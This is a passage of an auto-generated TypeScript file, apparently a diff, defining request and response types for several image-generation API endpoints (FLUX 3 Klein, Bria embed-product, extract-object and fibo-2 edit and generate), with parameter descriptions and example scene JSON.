`. + */ + bounding_boxes?: BoundingBox42Fd4C19[] | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputBlackforestlabsFlux3KleinTextToImageOutputFormatEnumKey + /** + * @description If set to true, the prompt is expanded into a detailed caption (grounded in the reference images when editing) before generation. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile5C670B7B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBlackforestlabsFlux3KleinTextToImage = { + /** + * @description The generated images. + * @type array + */ + images: ImageFile5C670B7B[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description Seed used to generate the first image. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize5Ad4A5Ac = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoRAInput650725F8 = { + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL to a FLUX 3 Klein LoRA (.safetensors), e.g. from flux-3-image-klein-trainer. + * @type string + */ + path: string +} + +export type Box8Eb5284D = { + /** + * @description Left edge as a fraction of the image width (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.3 + * @type number + */ + x_min: number + /** + * @description Right edge as a fraction of the image width (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.7 + * @type number + */ + x_max: number + /** + * @description Bottom edge as a fraction of the image height (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.9 + * @type number + */ + y_max: number + /** + * @description Top edge as a fraction of the image height (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.4 + * @type number + */ + y_min: number +} + +export type BoundingBox80C0C5D5 = { + /** + * @description What to draw in this box: the object and its look. + * @maxLength 500 + * @example a red fox with thick orange fur and a white-tipped tail + * @type string + */ + description: string + /** + * @description Short name for the object in this box, e.g. `fox`. Write `` in the prompt to tie the box to those words; a box the prompt doesn't name is added to the scene. Defaults to `obj_`. + * @example fox + */ + label?: string | null + /** + * @description Where the object goes in the output image. + * @type object + */ + box: Box8Eb5284D +} + +export const inputBlackforestlabsFlux3KleinTextToImageLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputBlackforestlabsFlux3KleinTextToImageLoraImageSizeKey = + (typeof inputBlackforestlabsFlux3KleinTextToImageLoraImageSize)[keyof typeof inputBlackforestlabsFlux3KleinTextToImageLoraImageSize] + +export const inputBlackforestlabsFlux3KleinTextToImageLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputBlackforestlabsFlux3KleinTextToImageLoraOutputFormatEnumKey = + (typeof inputBlackforestlabsFlux3KleinTextToImageLoraOutputFormatEnum)[keyof typeof inputBlackforestlabsFlux3KleinTextToImageLoraOutputFormatEnum] + +export type InputBlackforestlabsFlux3KleinTextToImageLora = { + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The size of the generated image. Each side can be 256 to 4096 pixels (native 4K). + * @default square_hd + */ + image_size?: + | ImageSize5Ad4A5Ac + | InputBlackforestlabsFlux3KleinTextToImageLoraImageSizeKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputBlackforestlabsFlux3KleinTextToImageLoraOutputFormatEnumKey + /** + * @description LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput650725F8[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional layout: draw each described object inside its box. Box edges are fractions of the image size, with (0, 0) at the top-left. Name boxes in the prompt by label, e.g. `A red fox sits under a red umbrella `. + */ + bounding_boxes?: BoundingBox80C0C5D5[] | null + /** + * @description The prompt to generate an image from. The model is trained on detailed captions: describe framing, subject, background and lighting. + * @example A red fox standing in fresh snow at sunrise, its breath visible in the cold air. Soft golden light rakes across the snowfield from the left, pine forest softly blurred in the background, shot at eye level with a telephoto lens. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the prompt is expanded into a detailed caption (grounded in the reference images when editing) before generation. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean +} + +export type ImageFileE3Fc7D44 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBlackforestlabsFlux3KleinTextToImageLora = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated images. + * @type array + */ + images: ImageFileE3Fc7D44[] + /** + * @description Seed used to generate the first image. + * @type integer + */ + seed: number +} + +export const inputBlackforestlabsFlux3TextToImageResolutionEnum = { + '768sq': '768sq', + '1k': '1k', + '1.5k': '1.5k', + '2k': '2k', + '4k': '4k', +} as const + +export type InputBlackforestlabsFlux3TextToImageResolutionEnumKey = + (typeof inputBlackforestlabsFlux3TextToImageResolutionEnum)[keyof typeof inputBlackforestlabsFlux3TextToImageResolutionEnum] + +export const inputBlackforestlabsFlux3TextToImageAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '3:2': '3:2', + '7:5': '7:5', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '5:7': '5:7', + '2:3': '2:3', + '9:16': '9:16', + '1:2': '1:2', +} as const + +export type InputBlackforestlabsFlux3TextToImageAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3TextToImageAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3TextToImageAspectRatioEnum] + +export const inputBlackforestlabsFlux3TextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputBlackforestlabsFlux3TextToImageOutputFormatEnumKey = + (typeof inputBlackforestlabsFlux3TextToImageOutputFormatEnum)[keyof typeof inputBlackforestlabsFlux3TextToImageOutputFormatEnum] + +export type InputBlackforestlabsFlux3TextToImage = { + /** + * @description The model version. + * @default 'latest' + * @type string | undefined + */ + version?: 'latest' + /** + * @description Safety tolerance, from 0 (strictest) to 4. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description The prompt to generate an image from. + * @example A red fox leaping over a stream in a pine forest, low-angle wildlife photograph. + * @type string + */ + prompt: string + /** + * @description Output resolution tier. 4k can take several minutes. + * @default '1k' + * @type string | undefined + */ + resolution?: InputBlackforestlabsFlux3TextToImageResolutionEnumKey + /** + * @description Return the image as a data URI instead of storing it in request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Output aspect ratio. Auto uses the first reference image when editing. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3TextToImageAspectRatioEnumKey + /** + * @description Expand the prompt while preserving its intent and reference roles. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputBlackforestlabsFlux3TextToImageOutputFormatEnumKey +} + +export type OutputBlackforestlabsFlux3TextToImage = { + /** + * @description The generated image. + * @type array + */ + images: ImageFile[] +} + +export type Coordinates = { + /** + * @description Height of the product in the image. + * @example 30 + * @type number + */ + height: number + /** + * @description Y coordinate of the product in the image. + * @example 100 + * @type number + */ + y: number + /** + * @description X coordinate of the product in the image. + * @example 100 + * @type number + */ + x: number + /** + * @description Width of the product in the image. + * @example 10 + * @type number + */ + width: number +} + +export type EmbedItem = { + /** + * @description URL of the image. + * @type string + */ + image_source: string + coordinates: Coordinates +} + +export type InputBriaEmbedProduct = { + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed for reproducibility. + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description URL of the image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/embed-product/an_empty_living_room_0.png + * @type string + */ + image_source: string + /** + * @description List of products to embed in the image. + * @example [{"image_source":"https://bria-datasets.s3.us-east-1.amazonaws.com/embed-product/a_standing_lamp_over_white_background_0.png","coordinates":{"height":300,"y":317,"x":300,"width":100}},{"image_source":"https://bria-datasets.s3.us-east-1.amazonaws.com/embed-product/a_wall_picture_on_white_background_0.png","coordinates":{"height":156,"y":287,"x":646,"width":120}}] + * @type array | undefined + */ + products?: EmbedItem[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaEmbedProduct = { + /** + * @description Generated image with products embedded. + * @type object + */ + image: Image + /** + * @description Seed used for generation. + * @type integer + */ + seed: number +} + +export type InputBriaExtractObject = { + /** + * @description When True, refine the cutout alpha with background removal (RMBG). When False (default), use the SAM segmentation mask as the cutout's alpha -- faster, with no salient-object matting (helpful when RMBG over-trims text, logos, or graphics). + * @default false + * @type boolean | undefined + */ + remove_background?: boolean + /** + * @description + * If true, the function waits for the image to be generated and uploaded + * before returning, so the image is returned directly (base64) instead of + * via the CDN. Increases latency. + * + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Tighten the output canvas to the extracted object. + * @default false + * @type boolean | undefined + */ + autocrop?: boolean + /** + * @description Source image as a public URL, a base64 data URI (data:image/png;base64,...) or raw base64-encoded image bytes. + * @default 'https://bria-datasets.s3.amazonaws.com/object-extraction/tools_construction_flatlay.jpg' + * @example https://bria-datasets.s3.amazonaws.com/object-extraction/tools_construction_flatlay.jpg + * @type string | undefined + */ + image_url?: string + /** + * @description Natural-language description of the object to act on, e.g. 'the red car'. + * @default 'yellow hammer' + * @type string | undefined + */ + prompt?: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image6A9Dfcb4 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBriaExtractObject = { + /** + * @description Extracted object on a transparent background (RGBA). The full input image when nothing matches the prompt. + * @type object + */ + image: Image6A9Dfcb4 + /** + * @description Segmentation mask used for the extraction. When nothing matches the prompt: an RGBA input's alpha, fully white for any other input. + * @type object + */ + mask: Image6A9Dfcb4 +} + +export type Aesthetics = { + /** + * @description The composition of the image to be generated. + */ + composition?: string | null + /** + * @description The mood and atmosphere of the image to be generated. + */ + mood_atmosphere?: string | null + /** + * @description The color scheme of the image to be generated. + */ + color_scheme?: string | null +} + +export type PromptObject = { + /** + * @description The number of objects in the image. + */ + number_of_objects?: number | null + /** + * @description The clothing of the object in the image. + */ + clothing?: string | null + /** + * @description The location of the object in the image. + */ + location?: string | null + /** + * @description The texture of the object. + */ + texture?: string | null + /** + * @description The gender of the object in the image. + */ + gender?: string | null + /** + * @description The action of the object in the image. + */ + action?: string | null + /** + * @description The pose of the object in the image. + */ + pose?: string | null + /** + * @description The relative size of the object in the image. + */ + relative_size?: string | null + /** + * @description A description of the object to be generated. + */ + description?: string | null + /** + * @description The orientation of the object in the image. + */ + orientation?: string | null + /** + * @description The relationship of the object to other objects in the image. + * @type string + */ + relationship: string + /** + * @description The shape and color of the object. + */ + shape_and_color?: string | null + /** + * @description The appearance details of the object. + */ + appearance_details?: string | null + /** + * @description The expression of the object in the image. + */ + expression?: string | null + /** + * @description The skin tone and texture of the object in the image. + */ + skin_tone_and_texture?: string | null +} + +export type TextRender = { + /** + * @description Where the text sits in the image. + */ + location?: string | null + /** + * @description Any other notable visual details of the text. + */ + appearance_details?: string | null + /** + * @description The color of the text. + */ + color?: string | null + /** + * @description The text to render. fibo-2 is also shown an image of it, so it renders as written. + * @type string + */ + text: string + /** + * @description The size of the text in the image. + */ + size?: string | null + /** + * @description The style of the font. + */ + font?: string | null +} + +export type PhotographicCharacteristics = { + /** + * @description The depth of field in the image to be generated. + */ + depth_of_field?: string | null + /** + * @description The angle of the camera in the image to be generated. + */ + camera_angle?: string | null + /** + * @description The focus in the image to be generated. + */ + focus?: string | null + /** + * @description The focal length of the lens in the image to be generated. + */ + lens_focal_length?: string | null +} + +export type Lighting = { + /** + * @description The direction of the lighting in the image to be generated. + */ + direction?: string | null + /** + * @description The shadows in the image to be generated. + */ + shadows?: string | null + /** + * @description The conditions of the lighting in the image to be generated. + */ + conditions?: string | null +} + +export type VglEdit = { + /** + * @description The aesthetics of the image to be generated. + */ + aesthetics?: Aesthetics | null + /** + * @description The background setting of the image to be generated. + */ + background_setting?: string | null + /** + * @description A list of objects in the image to be generated, along with their attributes and relationships to other objects in the image. + * @default [] + */ + objects?: PromptObject[] | null + /** + * @description A list of text to be rendered in the image. + * @default [] + */ + text_render?: TextRender[] | null + /** + * @description The photographic characteristics of the image to be generated. + */ + photographic_characteristics?: PhotographicCharacteristics | null + /** + * @description The edit instruction for the image. + */ + edit_instruction?: string | null + /** + * @description The context of the image to be generated. + */ + context?: string | null + /** + * @description The artistic style of the image to be generated. + */ + artistic_style?: string | null + /** + * @description The style medium of the image to be generated. + */ + style_medium?: string | null + /** + * @description The lighting of the image to be generated. + */ + lighting?: Lighting | null + /** + * @description A short description of the image to be generated. + */ + short_description?: string | null + [key: string]: unknown +} + +export const inputBriaFibo2EditAspectRatio = { + '1:1': '1:1', + '1:2': '1:2', + '1:3': '1:3', + '1:4': '1:4', + '1:5': '1:5', + '2:1': '2:1', + '2:3': '2:3', + '3:1': '3:1', + '3:2': '3:2', + '3:4': '3:4', + '4:1': '4:1', + '4:3': '4:3', + '4:5': '4:5', + '5:1': '5:1', + '5:4': '5:4', + '9:16': '9:16', + '9:21': '9:21', + '10:16': '10:16', + '16:9': '16:9', + '16:10': '16:10', + '21:9': '21:9', +} as const + +export type InputBriaFibo2EditAspectRatioKey = + (typeof inputBriaFibo2EditAspectRatio)[keyof typeof inputBriaFibo2EditAspectRatio] + +export type InputBriaFibo2Edit = { + /** + * @description The edit, in free-form text. It is expanded into a VGL, which is returned. With 'vgl', the change to make to it. 'prompt' is accepted as an alias. + * @example Create a luxury fragrance poster by placing the perfume bottle from upright on the grey boulder in the misty water from , and add the minimalist typography from in the upper sky. + */ + instruction?: string | null + /** + * @description A VGL (Visual Generation Language) document. Alone, it is the edit as-is and must carry its 'edit_instruction'. With 'instruction', it is the first image's VGL, the baseline the edit is written from. Accepts what a previous request returned. + */ + vgl?: VglEdit | null + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed for reproducibility, 0 to 2147483647. + * @minimum 0 + * @maximum 2147483647 + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description Output aspect ratio, at about one megapixel. Left unset, the output keeps the ratio of the first image. A single image always keeps its own ratio. + */ + aspect_ratio?: InputBriaFibo2EditAspectRatioKey | null + /** + * @description 1-4 images to edit (files or URLs). The instruction refers to them as , and so on, in the order they are sent. + * @example ["https://v3b.fal.media/files/b/0aaf2399/7tuRY3UT9tpKwYE1wX_SP_still-logo.png","https://v3b.fal.media/files/b/0aaf2399/T8kchxC_KKNEEkl-sK-Ge_still-perfume.png","https://v3b.fal.media/files/b/0aaf2399/9GKzb93bJ0SDaxAQlG0mr_still-background.png"] + * @type array + */ + image_urls: string[] + /** + * @description Mask (file or URL) marking the region to regenerate: white where the model should edit, black elsewhere. Single-image requests only, at that image's size. A masked edit comes back at the image's own size, with its own pixels outside the mask. + */ + mask_url?: string | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image377983Bd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBriaFibo2Edit = { + /** + * @description The edited image. + * @type object + */ + image: Image377983Bd + /** + * @description Single-element list holding the same image, as the sibling FIBO apps return. + * @default [] + * @example [{"url":"https://v3b.fal.media/files/b/0aaf5f35/c0ONFWAdK7WM5N9UZ_maQ_fibo-2-edit-example.png"}] + * @type array | undefined + */ + images?: Image377983Bd[] + /** + * @description The VGL the edit ran, including its 'edit_instruction'. + * @example {"aesthetics":{"composition":"Centered editorial composition with rule of thirds horizon","mood_atmosphere":"Serene, minimalist, luxurious, and tranquil","color_scheme":"Muted palette of fog grey, slate, blue-grey, and warm peach, accented by rose-gold"},"background_setting":"Perfectly calm, mirror-like water surface reflecting a dense, soft fog and low cloud sky with a warm peach-cream glow breaking through near the top.","objects":[{"relative_size":"Medium within frame","number_of_objects":1,"orientation":"Upright","relationship":"Resting upright on the flat top surface of the large grey boulder","shape_and_color":"Square prism, clear glass with rose-gold liquid and black cap","appearance_details":"Soft diffused fog light wrapping the glass, gentle edge highlights, and a subtle warm glow in the liquid","texture":"Smooth glass and matte metal","location":"Center, on top of the boulder","description":"A square clear glass perfume flacon with thick beveled walls, crisp edges, filled with rose-gold liquid, featuring a thin internal dip tube, a short dark metal collar, and a wide matte black cap."},{"relative_size":"Large within frame","number_of_objects":1,"orientation":"Static","relationship":"Supporting the perfume bottle on its flat top surface and casting a complete reflection in the water below","shape_and_color":"Irregular block shape, grey stone","appearance_details":"Catches soft diffused light on its upper facets","texture":"Rough, weathered stone","location":"Lower half of the frame","description":"A single large grey boulder with a weathered, slightly rough stone surface sitting in calm water."}],"text_render":[{"location":"Upper sky, centered about 15-20% down from the top","appearance_details":"Thin elegant capitals with subtle flared strokes, flat and crisp with no shadow","color":"Muted warm charcoal grey","text":"STILL","size":"Medium","font":"Serif typeface with wide spacing"},{"location":"Upper sky, directly beneath the word STILL","appearance_details":"Matching small capitals with wide spacing, flat and crisp with no shadow","color":"Muted warm charcoal grey","text":"EAU DE PARFUM","size":"Small","font":"Serif typeface with wide spacing"}],"photographic_characteristics":{"depth_of_field":"Shallow atmospheric depth","camera_angle":"Eye-level straight-on shot","focus":"Sharp focus on the perfume bottle and boulder","lens_focal_length":"Standard portrait lens (e.g., 50mm-85mm)"},"edit_instruction":"Create a luxury fragrance poster by placing the perfume bottle from upright on the grey boulder in the misty water from , and add the minimalist typography from in the upper sky.","context":"This is a conceptual luxury fragrance advertising campaign designed for a high-end magazine spread or billboard.","artistic_style":"realistic","lighting":{"direction":"Top-lit","shadows":"Soft contact shadows beneath the perfume bottle on the stone","conditions":"Soft diffused fog light with warm peach glow from above"},"style_medium":"photograph","short_description":"A high-end luxury fragrance poster featuring the perfume bottle from centered atop the large grey boulder resting in calm water from , with the minimalist typography from floating in the misty sky above."} + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export type PhotographicCharacteristicsFcc844F5 = { + /** + * @description The focus in the image to be generated. + */ + focus?: string | null + /** + * @description The depth of field in the image to be generated. + */ + depth_of_field?: string | null + /** + * @description The angle of the camera in the image to be generated. + */ + camera_angle?: string | null + /** + * @description The focal length of the lens in the image to be generated. + */ + lens_focal_length?: string | null +} + +export type PromptObject572A2F1E = { + /** + * @description The location of the object in the image. + */ + location?: string | null + /** + * @description The number of objects in the image. + */ + number_of_objects?: number | null + /** + * @description A description of the object to be generated. + */ + description?: string | null + /** + * @description The pose of the object in the image. + */ + pose?: string | null + /** + * @description The skin tone and texture of the object in the image. + */ + skin_tone_and_texture?: string | null + /** + * @description The action of the object in the image. + */ + action?: string | null + /** + * @description The gender of the object in the image. + */ + gender?: string | null + /** + * @description The shape and color of the object. + */ + shape_and_color?: string | null + /** + * @description The relative size of the object in the image. + */ + relative_size?: string | null + /** + * @description The appearance details of the object. + */ + appearance_details?: string | null + /** + * @description The texture of the object. + */ + texture?: string | null + /** + * @description The orientation of the object in the image. + */ + orientation?: string | null + /** + * @description The clothing of the object in the image. + */ + clothing?: string | null + /** + * @description The expression of the object in the image. + */ + expression?: string | null + /** + * @description The relationship of the object to other objects in the image. + * @type string + */ + relationship: string +} + +export type TextRender4A5Eebe0 = { + /** + * @description Where the text sits in the image. + */ + location?: string | null + /** + * @description The text to render. fibo-2 is also shown an image of it, so it renders as written. + * @type string + */ + text: string + /** + * @description The style of the font. + */ + font?: string | null + /** + * @description Any other notable visual details of the text. + */ + appearance_details?: string | null + /** + * @description The size of the text in the image. + */ + size?: string | null + /** + * @description The color of the text. + */ + color?: string | null +} + +export type Lighting2A3Ab3E5 = { + /** + * @description The shadows in the image to be generated. + */ + shadows?: string | null + /** + * @description The direction of the lighting in the image to be generated. + */ + direction?: string | null + /** + * @description The conditions of the lighting in the image to be generated. + */ + conditions?: string | null +} + +export type Aesthetics1F5Ff460 = { + /** + * @description The mood and atmosphere of the image to be generated. + */ + mood_atmosphere?: string | null + /** + * @description The composition of the image to be generated. + */ + composition?: string | null + /** + * @description The color scheme of the image to be generated. + */ + color_scheme?: string | null +} + +export type Vgl = { + /** + * @description The photographic characteristics of the image to be generated. + */ + photographic_characteristics?: PhotographicCharacteristicsFcc844F5 | null + /** + * @description The artistic style of the image to be generated. + */ + artistic_style?: string | null + /** + * @description The background setting of the image to be generated. + */ + background_setting?: string | null + /** + * @description A list of objects in the image to be generated, along with their attributes and relationships to other objects in the image. + * @default [] + */ + objects?: PromptObject572A2F1E[] | null + /** + * @description The context of the image to be generated. + */ + context?: string | null + /** + * @description A short description of the image to be generated. + */ + short_description?: string | null + /** + * @description A list of text to be rendered in the image. + * @default [] + */ + text_render?: TextRender4A5Eebe0[] | null + /** + * @description The lighting of the image to be generated. + */ + lighting?: Lighting2A3Ab3E5 | null + /** + * @description The style medium of the image to be generated. + */ + style_medium?: string | null + /** + * @description The aesthetics of the image to be generated. + */ + aesthetics?: Aesthetics1F5Ff460 | null +} + +export const inputBriaFibo2GenerateStyle = { + 'Kodak Film': 'Kodak Film', + 'Hard Flash': 'Hard Flash', + 'Hazy Dreamy': 'Hazy Dreamy', + 'Rough Realism': 'Rough Realism', +} as const + +export type InputBriaFibo2GenerateStyleKey = + (typeof inputBriaFibo2GenerateStyle)[keyof typeof inputBriaFibo2GenerateStyle] + +export const inputBriaFibo2GenerateAspectRatioEnum = { + '1:1': '1:1', + '1:2': '1:2', + '1:3': '1:3', + '1:4': '1:4', + '1:5': '1:5', + '2:1': '2:1', + '2:3': '2:3', + '3:1': '3:1', + '3:2': '3:2', + '3:4': '3:4', + '4:1': '4:1', + '4:3': '4:3', + '4:5': '4:5', + '5:1': '5:1', + '5:4': '5:4', + '9:16': '9:16', + '9:21': '9:21', + '10:16': '10:16', + '16:9': '16:9', + '16:10': '16:10', + '21:9': '21:9', +} as const + +export type InputBriaFibo2GenerateAspectRatioEnumKey = + (typeof inputBriaFibo2GenerateAspectRatioEnum)[keyof typeof inputBriaFibo2GenerateAspectRatioEnum] + +export type InputBriaFibo2Generate = { + /** + * @description A style for the generated image. Requires 'prompt'; not with 'image_url', 'vgl' or 'negative_prompt'. + */ + style?: InputBriaFibo2GenerateStyleKey | null + /** + * @description Random seed for reproducibility, 0 to 2147483647. + * @minimum 0 + * @maximum 2147483647 + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description A reference image (inspire mode). With 'prompt', VGL uses it as a visual reference for the prompt's scene and generates a new image of that scene, not the image. Alone, the VGL describes the image itself, so the result is a close variation of it. Not with 'vgl'. + */ + image_url?: string | null + /** + * @description A VGL (Visual Generation Language) document: the structured JSON description of the scene. Alone, the model renders it as-is. With 'prompt', VGL changes it by the prompt (refine) and the result is rendered. Accepts what a previous request returned. Not with 'image_url' or 'style'. + * @example {"photographic_characteristics":{"focus":"crisp, ultra-sharp focus on the ribbed fabric texture, chain links, sunglasses, and suspended sand grains","depth_of_field":"moderately shallow, keeping the subject in sharp focus while the distant background mountains have a soft falloff","camera_angle":"low angle","lens_focal_length":"wide-angle lens"},"lighting":{"shadows":"a long, sharp shadow cast by the subject across the sand to the right","direction":"front-lit from the front-left by the flash, contrasting with the backlit ambient sky","conditions":"strong off-camera flash combined with ambient dusk twilight"},"background_setting":"Flat scrubby desert featuring sparse dry bushes, subtle footprints in the sand, and low dark silhouetted mountains along the horizon. The sky is a deep cobalt-blue with streaks of grey-violet clouds and a glowing orange and gold sunset band stretching along the left horizon.","objects":[{"location":"center-right","appearance_details":"glossy highlights on skin, windswept hair flying across her face, right arm swinging out behind with fingers spread","description":"A young woman with shoulder-length dark brown hair, twisting mid-motion with her body turning away while looking back over her shoulder at the camera with slightly parted lips. She wears wraparound mirrored silver sport sunglasses, a heavy silver chain necklace, a fitted white ribbed tank top, and loose light-grey cargo pants with large side pockets.","pose":"twisting mid-motion, turning body away while looking back over shoulder","skin_tone_and_texture":"warm skin tone with glossy highlights from the flash","orientation":"tilted dynamically, facing slightly left while head turns back","clothing":"fitted white ribbed tank top, loose light-grey cargo pants with large side pockets sitting low on hips, heavy silver chain necklace, wraparound mirrored silver sport sunglasses","expression":"confident, intense gaze with lips slightly parted","relationship":"main subject of the photograph, commanding the frame","action":"twisting and looking back over her shoulder while swinging right arm","gender":"female","shape_and_color":"dynamic human silhouette in white and grey with metallic accents","texture":"mixed textures of soft skin, ribbed cotton, heavy metallic links, and smooth synthetic sunglasses","relative_size":"large within frame"},{"location":"bottom-left foreground and surrounding legs","number_of_objects":1,"appearance_details":"individual sand grains sparkling under the hard flash light","description":"A burst of kicked-up sand billowing around her legs and to the lower left, with individual grains sharply frozen in mid-air by the flash.","texture":"grainy, particulate, and sharp","orientation":"scattered horizontally and vertically","relationship":"interacts with the model's movement, emphasizing action","action":"billowing and suspended in the air","shape_and_color":"cloud-like amorphous cluster of sandy beige and golden-brown particles","relative_size":"medium"}],"context":"This is a concept for an early-2000s retro-futuristic fashion editorial photograph intended for a high-end style magazine spread.","short_description":"An early-2000s fashion editorial photograph capturing a young woman dynamically twisting in a desert at dusk. Lit by a strong off-camera flash against a deep cobalt-blue and orange sunset sky, she wears Y2K-inspired streetwear including mirrored silver sunglasses, a white ribbed tank top, and loose cargo pants, surrounded by kicked-up sand.","artistic_style":"realistic","style_medium":"photograph","aesthetics":{"mood_atmosphere":"Y2K action-editorial energy, dynamic, confident, edgy, and cinematic","composition":"low angle shot, medium-tight framing cropped mid-thigh at the bottom, dynamic off-center placement following the rule of thirds","color_scheme":"high contrast palette featuring saturated cobalt blues, warm golden-orange sunset tones, and neutral greys and whites"}} + */ + vgl?: Vgl | null + /** + * @description Aspect ratio of the image, at about one megapixel. Options: 1:1, 1:2, 1:3, 1:4, 1:5, 2:1, 2:3, 3:1, 3:2, 3:4, 4:1, 4:3, 4:5, 5:1, 5:4, 9:16, 9:21, 10:16, 16:9, 16:10, 21:9 + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputBriaFibo2GenerateAspectRatioEnumKey + /** + * @description What to generate, in free-form text. It is expanded into a VGL, which is returned. With 'vgl', the change to make to it. + */ + prompt?: string | null + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageC9A8B846 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null 